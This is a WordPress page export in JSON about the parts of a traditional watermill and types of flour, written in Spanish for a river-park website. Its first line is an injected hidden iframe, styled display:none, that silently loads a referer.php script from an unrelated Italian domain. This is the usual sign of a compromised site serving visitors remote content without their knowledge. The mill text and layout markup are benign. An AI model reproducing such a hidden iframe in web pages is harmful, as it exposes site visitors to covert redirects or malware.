<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":12082,"date":"2017-02-14T14:24:51","date_gmt":"2017-02-14T13:24:51","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=12082\/"},"modified":"2017-02-23T09:23:50","modified_gmt":"2017-02-23T08:23:50","slug":"partes-del-molino-tipos-harina","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/partes-del-molino-tipos-harina\/","title":{"rendered":"Partes del molino y tipos de harina"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-5a6a3c67b6460052fa53c9151977d2e7\">\n.avia-section.av-av_section-5a6a3c67b6460052fa53c9151977d2e7{\nbackground-color:#4ecac2;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-5a6a3c67b6460052fa53c9151977d2e7 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_one_full  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12082'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-7cb1dc4d61cecfa00f36f5fae6279116\">\n#top .av-special-heading.av-av_heading-7cb1dc4d61cecfa00f36f5fae6279116{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-7cb1dc4d61cecfa00f36f5fae6279116 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-7cb1dc4d61cecfa00f36f5fae6279116 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-7cb1dc4d61cecfa00f36f5fae6279116 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-7cb1dc4d61cecfa00f36f5fae6279116 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >Partes del molino y tipos de harina<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-12082'><div class='entry-content-wrapper clearfix'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c\">\n.flex_column.av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_full-6126cab7d8fab8d08143dd2dacdf673c av_one_full  avia-builder-el-2  el_after_av_section  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Presa: (guiar o ace\u00f1a) mediante una construcci\u00f3n de piedra crea un peque\u00f1o embalse que almacena agua que salva el desnivel del lecho fluvial y desv\u00eda el agua para el molino a trav\u00e9s de la gavia y el canal.<\/p>\n<\/div><\/section><\/div><div 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simple arroyo cavado en la tierra para la conducci\u00f3n del agua hacia el canal del molino.<\/p>\n<p>El canal: guiaba el agua al rodicio. Hecha con losetas laterales y en el fondo, aumentaba la presi\u00f3n del agua incluso con un caudal peque\u00f1o. El l\u00edquido entra por una pieza, bien de madera o de piedra, llamada \u201cbillote\u201d, que se puede abrir y cerrar desde el interior del molino. El agua que pasa por \u00e9l fuerza el movimiento de la maquinaria.<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_fifth-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_two_fifth-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_fifth-0aa7055fe62c3622faec82866afbaeb2 av_two_fifth  avia-builder-el-6  el_after_av_three_fifth  el_before_av_one_full  no_margin flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-64ba458e6c444dd9109db302b8f903f7\">\n.avia-image-container.av-av_image-64ba458e6c444dd9109db302b8f903f7 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-64ba458e6c444dd9109db302b8f903f7 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-64ba458e6c444dd9109db302b8f903f7 av-styling- avia-align-center  avia-builder-el-7  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-11417 avia-img-lazy-loading-not-11417 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6-300x200.jpg\" alt='' title='Rego de Ar\u00edns de abaixo'  height=\"200\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6-300x200.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6-768x512.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6-1030x686.jpg 1030w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6-705x470.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6-450x300.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/RioSantaLucia_Zeltia_Iglesias-6.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div><\/div><!--close column table wrapper. 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Siempre se eleva unos metros sobre el lecho del r\u00edo. El tama\u00f1o cambia seg\u00fan las dimensiones de las piezas y el n\u00famero de ellas. Algunos tambi\u00e9n eran la vivienda de las familias que atend\u00edan el molino. Los materiales de construcci\u00f3n var\u00edan: granito o loseta, teja o loseta y siempre con estructuras interiores de madera.<\/p>\n<\/blockquote>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Est\u00e1 formado por dos paredes laterales, una de ellas con un peque\u00f1o hueco para el \u201cbillote\u201d y la parte frontal, llamada sart\u00e9n. En esta hay otro hueco (o huecos) por donde sale el agua despu\u00e9s de mover el rodicio.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Su planta se divide en dos partes: una con el piso de madera, de piedra o terreno, y otra hecha con grandes piedras que salvan la distancia que hay entre los muros laterales del infierno aguantando el peso del pie y de la muela.<\/p>\n<p>Rueda: es el elemento que pone en movimiento la pieza de moler. Puede ser horizontal o vertical. El primero es el rodicio y el segundo la bruia. El rodicio es la propia de los molinos del mismo nombre. Por lo general es de madera o de hierro,\u00a0 con unas aspas en forma de cuchara y dispuestas radialmente llamadas penas. La presi\u00f3n del agua las pone en movimiento y acciona el eje mueve la pieza de moler.<\/p>\n<\/div><\/section><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Bruia: de mayores dimensiones y fijada a un eje horizontal que hace llegar su movimiento a la pieza de moler que transforma la rotaci\u00f3n vertical de la rueda en una rotaci\u00f3n horizontal.<\/p>\n<p>Pieza de moler: dentro del molino, tiene varias partes: \u201cla moega\u201d, o caja de madera en forma de pir\u00e1mide invertida y abierta en la parte superior para poder echar el grano, por la parte inferior los cereales caen en un canal de madera, llamada \u201ctibur\u00f3n\u201d o \u201cadella\u201d. El tibur\u00f3n mide como cae el grano y lo dirige hacia el ojo de la muela, hecho en el centro. Por \u00e9l el grano se mete entre la muela y el pie.<\/p>\n<p>Pie: pieza de piedra con forma circular, fija, muy s\u00f3lida, sobre la que se coloca la rueda, tambi\u00e9n de piedra, pero de menor tama\u00f1o y m\u00f3vil, esta al girar deshace el grano contra el pie. De las juntas entre la rueda y el pie sale la harina que va a caer en el \u201cfarneiro\u201d. Seg\u00fan el grano, las piezas de moler son de distinta calidad y reciben distintos nombres: las \u201calbeiras\u201d, para moler el trigo y el centeno; y las del pa\u00eds o piedra\u00a0 \u201cmourenza\u201d, para el ma\u00edz.<\/p>\n<\/div><\/section><\/p><\/div><\/div><!--close column table wrapper. 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Cuando hab\u00eda poco agua, en verano o en tiempos de sequ\u00eda, los molinos ten\u00edan preferencia para coger el agua que se sacaba de los prados. Les llamaban \u201calbeiros\u201d y tambi\u00e9n molinos blancos a los molinos de trigo que adem\u00e1s de moler tambi\u00e9n tamizaban la harina. En Ar\u00edns s\u00f3lo hab\u00eda el \u201calbeiro\u201d de Xosefina<\/p>\n<\/div><\/section><\/div><div class='av-flex-placeholder'><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-0aa7055fe62c3622faec82866afbaeb2\">\n.flex_column.av-av_one_fourth-0aa7055fe62c3622faec82866afbaeb2{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_fourth-0aa7055fe62c3622faec82866afbaeb2 av_one_fourth  avia-builder-el-19  el_after_av_three_fourth  avia-builder-el-last  flex_column_table_cell av-equal-height-column av-align-middle av-zero-column-padding column-top-margin'     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-02d4c45bb3edce26f0a92ce9594290ed\">\n.avia-image-container.av-av_image-02d4c45bb3edce26f0a92ce9594290ed img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-02d4c45bb3edce26f0a92ce9594290ed .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-02d4c45bb3edce26f0a92ce9594290ed av-styling- avia-align-center  avia-builder-el-20  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-11413 avia-img-lazy-loading-not-11413 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CanleMuinhoViaduto-1-169x300.jpg\" alt='' title='CanleMuinhoViaduto'  height=\"300\" width=\"169\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CanleMuinhoViaduto-1-169x300.jpg 169w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CanleMuinhoViaduto-1-579x1030.jpg 579w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CanleMuinhoViaduto-1-397x705.jpg 397w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CanleMuinhoViaduto-1-450x800.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/02\/CanleMuinhoViaduto-1.jpg 747w\" sizes=\"(max-width: 169px) 100vw, 169px\" \/><\/div><\/div><\/div><\/div><\/div><!--close column table wrapper. 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